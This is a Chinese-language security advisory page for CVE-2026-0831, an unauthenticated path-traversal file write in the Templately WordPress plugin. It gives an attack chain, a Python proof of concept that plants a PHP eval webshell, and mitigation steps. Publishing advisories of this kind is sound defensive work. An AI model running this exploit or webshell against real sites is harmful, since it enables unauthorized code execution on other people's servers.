IPBUF安全漏洞报告
English
CVE-2026-0831 CVSS 5.3 中危

CVE-2026-0831: Templately插件任意文件写入漏洞

披露日期: 2026-01-10

漏洞信息

漏洞编号
CVE-2026-0831
漏洞类型
任意文件写入(Arbitrary File Write)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Templately plugin for WordPress (≤3.4.8)

相关标签

任意文件写入WordPress插件漏洞TemplatelyCVE-2026-0831路径遍历文件操作漏洞Web安全WordPress安全

漏洞概述

Templately是WordPress平台上一个广受欢迎的模板库插件,为用户提供了丰富的网站模板资源。该插件在3.4.8及之前的所有版本中存在一个严重的任意文件写入漏洞。漏洞产生的根本原因在于save_template_to_file()函数对用户输入参数缺乏充分的验证和过滤,攻击者可以利用session_id、content_id和ai_page_ids等用户可控参数构造恶意文件路径,从而在服务器的上传目录中写入任意.ai.json文件。此漏洞无需任何认证即可被利用,攻击门槛较低。成功的文件写入攻击可能导致多种严重后果,包括网站数据被篡改、持久性存储型XSS攻击、webshell部署后门等。CVSS评分5.3(中等严重级别),攻击复杂度低,不需要特殊权限和用户交互。建议受影响的用户立即升级到最新版本(3.4.9)以修复此安全漏洞。

技术细节

漏洞主要存在于Templately插件的API/AIContent.php文件中的save_template_to_file()函数(第38行附近)。该函数在处理用户请求时,直接将session_id、content_id和ai_page_ids等用户输入参数用于构造文件路径,而没有进行适当的输入验证和安全检查。具体问题包括:1)未验证session_id参数是否包含路径遍历字符(如../),攻击者可使用路径遍历序列突破目录限制;2)未对content_id和ai_page_ids进行严格的类型检查和范围限制;3)文件保存路径直接拼接用户输入而未进行路径规范化处理;4)缺少对写入文件类型的验证,.ai.json文件可被替换为任意内容。攻击者通过构造包含路径遍历序列的session_id参数(如../../../evil),结合content_id和ai_page_ids参数,可以将任意内容的文件写入到服务器任意位置。这种文件写入能力可能被进一步利用,例如写入PHP webshell实现远程代码执行,或写入包含恶意JavaScript的HTML文件实现XSS攻击。

攻击链分析

STEP 1
步骤1: 信息收集
识别目标WordPress站点,确认是否安装Templately插件及其版本(<=3.4.8)
STEP 2
步骤2: 构造恶意请求
构造包含路径遍历序列的session_id参数(如../../../evil.php)和恶意文件内容的POST请求
STEP 3
步骤3: 发送漏洞利用请求
向Templately插件的API端点(/wp-json/templately/v1/save-template)发送未认证的恶意请求
STEP 4
步骤4: 路径遍历突破
服务器端save_template_to_file()函数使用用户输入构造文件路径时,未过滤路径遍历字符,文件被写入uploads目录之外的任意位置
STEP 5
步骤5: 验证文件写入
访问写入的文件路径,确认webshell或其他恶意文件已成功部署到服务器
STEP 6
步骤6: 权限提升与持久化
通过webshell执行系统命令获取服务器权限,或结合其他漏洞实现进一步攻击目标

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-0831 PoC - Templately Plugin Arbitrary File Write # Target: WordPress site with Templately plugin <= 3.4.8 import requests import json TARGET_URL = "http://target-wordpress-site.com" # Vulnerable endpoint in Templately plugin API_ENDPOINT = f"{TARGET_URL}/wp-json/templately/v1/save-template" # Malicious payload to write arbitrary file # Using path traversal to escape uploads directory malicious_payload = { "session_id": "../../../../../uploads/evil", "content_id": "malicious_content", "ai_page_ids": ["../../../evil.php"], "template_data": "<?php phpinfo(); ?>", # Webshell content "file_content": json.dumps({ "name": "Malicious Template", "content": "<?php @eval($_POST['cmd']); ?>" }) } def exploit_arbitrary_file_write(): """ Exploit function to demonstrate arbitrary file write vulnerability """ print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting CVE-2026-0831 - Arbitrary File Write in Templately") try: # Send malicious request (unauthenticated) response = requests.post( API_ENDPOINT, json=malicious_payload, headers={ "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-0831-PoC)" }, timeout=10, verify=False ) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") # Verify if file was written verify_url = f"{TARGET_URL}/wp-content/uploads/evil.php" verify_response = requests.get(verify_url, timeout=5) if verify_response.status_code == 200: print(f"[+] SUCCESS! File written successfully: {verify_url}") print("[+] Webshell accessible - Remote Code Execution possible") return True else: print("[-] File write verification failed") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_arbitrary_file_write() print("\n[*] Note: This PoC is for authorized security testing only")

影响范围

Templately plugin for WordPress <= 3.4.8

防御指南

临时缓解措施
如果无法立即升级到最新版本,建议采取以下临时缓解措施:1)暂时禁用Templately插件直到完成安全更新;2)通过Web服务器配置(如Apache的.htaccess或Nginx配置)限制对uploads目录的写权限;3)部署WAF规则过滤包含路径遍历特征的请求参数;4)启用服务器端文件上传监控和告警机制;5)限制WordPress上传目录的PHP执行权限以防止webshell执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表